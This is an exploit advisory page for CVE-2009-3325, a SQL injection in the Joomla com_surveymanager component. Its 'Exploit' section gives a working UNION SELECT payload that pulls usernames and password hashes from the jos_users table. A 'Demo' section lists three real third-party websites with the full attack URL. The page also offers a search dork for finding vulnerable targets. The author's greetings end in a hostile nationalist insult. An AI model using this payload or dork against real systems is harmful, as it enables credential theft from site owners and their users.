Joomla com_surveymanager (stype) SQL Injection Vulnerability

2009.09.24
Credit: kaMtiEz
Risk: High
Local: No
Remote: Yes
CVE: CVE-2009-3325
CWE: CWE-89
Dork: inurl:\"com_surveymanager\"


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

############################################################################################################# ## Joomla com_surveymanager SQL injection vulnerability - (stype) ## ## Author : kaMtiEz (kamzcrew@yahoo.com) ## ## Homepage : http://www.indonesiancoder.com ## ## Date : September 19, 2009 ## ############################################################################################################# ############################################################################################################# # /~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__ # # /~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_ # # /~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__ # # /~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___ # # /~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____ # #____________________________________________________________ -=- KILL-9 CREW -=- INDONESIANCODER -=- # # # ############################################################################################################# [ Software Information ] [+] Vendor : http://www.focusdev.co.uk/ [+] Download : http://www.focusdev.co.uk/products/8-joomla-products/17-survey-manager [+] version : 1.5.0 [+] Vulnerability : SQL injection [+] Dork : inurl:"com_surveymanager" ############################################################################################################# [ Vulnerable File ] http://127.0.0.1/index.php?option=com_surveymanager&task=editsurvey&stype=[SQL] [ Exploit ] -2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users-- [ Demo ] http://portal.psz.utm.my/div/btk/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users-- http://www.acs-stny.com/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users-- http://ridsrealty.com/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users-- ############################################################################################################# [ Thx TO ] [+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW [+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h [+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz [+] Coracore,black666girl,NepT,ichal,tengik and YOU!! [ NOTE ] [+] Selamat Hari Raya Idul Fitri 1930 H [+] Minal aidzin Wal faidzin, Mohon Maaf Lahir Batin Maap Kalo ada salah2 kata mohon dimaafkan [+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw [ QUOTE ] [+] Soekarno : Dengan ini saya menyatakan "GANYANG MALAYSIA" [+] FUCK MALAYSIA !!!

Referencje:

http://www.vupen.com/english/advisories/2009/2705
http://www.securityfocus.com/bid/36464
http://www.milw0rm.com/exploits/9721


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top